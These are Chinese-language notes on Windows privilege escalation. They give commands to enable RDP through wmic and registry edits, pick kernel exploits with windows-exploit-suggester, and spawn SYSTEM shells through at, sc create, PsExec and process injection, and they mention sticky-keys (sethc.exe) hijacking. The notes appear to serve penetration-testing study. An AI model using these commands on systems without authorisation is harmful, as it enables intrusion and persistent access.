提权
一、常见的windows命令
1. systeminfo 查看系统基本信息
2. hostname 查看主机名称
3. net user 或者 net1 user 或者 ^n^e^t^1 user 查看用户
4. net localgroup 查看用户组
5. quser 或者 query user 查看当前主机登录了哪些用户
二、rdp 协议
rdp ===> remote desktop protocol 远程桌面协议
rdp协议端口 3389
1. 查看3389端口
netstat -ano | findstr 3389
2. 查看pid为4136的进程
tasklist | findstr 4136
如何开启远程rdp连接?
1. win + r
2. 输入mstsc
3. 输入ip+3389端口
例如: 192.168.11.118:3389
三、windows-exploit-suggester提权
windows-exploit-suggester工具
利用windows-exploit-suggester 枚举windows漏洞
使用步骤:
(1) python2 get-pip.py
(2) pip2 --trusted-host pypi.python.org install xlrd==1.2.0
(3) python2 windows-exploit-suggester.py --update
(4) windows-exploit-suggester.py --database 2022-11-28-mssb.xls --systeminfo rst.txt
rst.txt 文件为靶机的系统基本信息
可以将systeminfo的命令结果写入ret.txt文件中
systeminfo > C:/rst.txt
MS15-010 的 CVE-2015-0057
MS15-051
MS14-070
MS14-058 的 CVE-2014-4113-Exploit
四、在线提权辅助网站
在线提权辅助网站
https://i.hacking8.com/tiquan
CVE-2020-0787
五、如何开启3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
六、at提权
at 09:22 /interactive cmd.exe
七、通过sc创建服务 并提权
sc create bihuo15 binPath= "cmd /K start" type= own type= interact
sc start bihuo15
八、Psexec工具提权
PsExec.exe /accepteula /s \\127.0.0.1 cmd /c "whoami"
九、processinjector_encrypt工具提权
pinjector.exe –p 2600 cmd.exe 12345
十、粘滞键劫持(sethc.exe)
连续按shift键5下,弹出粘滞键
sethc.exe 程序控制的粘滞键
通过劫持sethc.exe 程序,来弹出calc.exe
通过劫持sethc.exe 程序,来弹出cmd.exe
C:\WINDOWS\system32\
C:\WINDOWS\system32\dllcache\